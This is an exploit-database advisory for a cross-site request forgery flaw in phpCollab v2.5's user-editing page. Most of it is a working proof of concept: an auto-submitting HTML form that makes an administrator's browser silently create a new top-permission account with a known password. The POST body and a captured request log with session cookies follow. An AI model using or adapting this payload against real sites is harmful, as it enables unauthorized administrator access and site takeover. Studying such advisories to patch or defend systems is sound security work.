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phpCollab v2.5 CMS - Privilege Escalate CSRF Vulnerability

Author
ZwX
Risk
[
Security Risk Low
]
0day-ID
0day-ID-25500
Category
web applications
Date add
06-10-2016
Platform
php
Technical Details & Description:
================================
A cross site request forgery vulnerability has been discovered in the official phpCollab v2.5 content management system.

In the absence of security token an attacker could execute arbitrary code in the administrator's browser to have a privileged 
access. The vulnerability is located in the edituser.php file in the ./users/ path.

Request Method(s):
				[+] POST

Vulnerable Module(s):
				[+] ./phpcollab/users/

Vulnerable File(s):
				[+] edituser.php

Vulnerable Parameter(s):
				[+] id


Proof of Concept (PoC):
=======================
Cross site request forgery web vulnerability can be exploited by malicious web application without privileged user account and without user interaction.


PoC: CSRF Exploitation
<html>
<form accept-charset="UNKNOWN" method="POST" action="http://phpcollab.localhost:8080/phpcollab/users/edituser.php?id=&action=add&PHPSESSID=coflo6ves1ac5e177kf26mg7l7" name="ecDForm"/>
<input type='hidden' name="un" value="VulnLabs">
<input type='hidden' name='fn' value="ZwX" />
<input type='hidden' name='em' value="test@live.fr"/>
<input type='hidden' name='pw' value="123123" />
<input type='hidden' name='pwa' value="123123" />
<input type='radio' name='perm' value='1' />
<input type='radio' name='perm' value='2' />
<input type='radio' name='perm' value='3' />
<input type='radio' name='perm' value='4' />
<input type='radio' name='perm' value='5' checked />
<tr class='odd'><td valign='top' class='leftvalue'>&nbps;</td><td><input type='SUBMIT' value='Sauvegarder' />&nbps;</td></tr>
<script>document.forms[0].submit()</script>
</form>
</html>


POST Method
[+] un=VulnLabs&fn=ZwX&em=test%40live.fr&pw=123123&pwa=123123&perm=5


--- PoC Session Logs ---
Status: 200 [OK]
Host: phpcollab.localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: __gads=ID=07968e6b89cfb5e9:T=1471277130:S=ALNI_Mb360EnbieGeQ6j0qksVtqioxOo6g; __utma=87180614.471852358.1471277221.1471289573.1471311800.4; 
__utmc=87180614; __utmz=87180614.1471311800.4.4.utmcsr=demo.opensourcecms.com|utmccn=(referral)|utmcmd=referral|utmcct=/phpcollab/general/login.php; 
PHPSESSID=eo2nfc7bqe68eugsgd7h0ehfh4; _pk_id.2.bb5e=83e7be2d899ec7fc.1471277247.4.1471313737.1471311796.; 
_pk_ref.2.bb5e=%5B%22%22%2C%22%22%2C1471311796%2C%22http%3A%2F%2Fwww.opensourcecms.com%2Fdemo%2F2%2F336%2FphpCollab%22%5D; 
wbTh=e; xwbR=e; _pk_ses.2.bb5e=*; __utmb=87180614.40.10.1471311800; __utmt=1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 62


Domain:     www.zwx.fr
Contact:    msk4@live.fr	
Social:     twitter.com/XSSed.fr
Feeds:      www.zwx.fr/feed/
Advisory:   www.vulnerability-lab.com/show.php?user=ZwX
            packetstormsecurity.com/files/author/12026/
            cxsecurity.com/search/author/DESC/AND/FIND/0/10/ZwX/
            0day.today/author/27461

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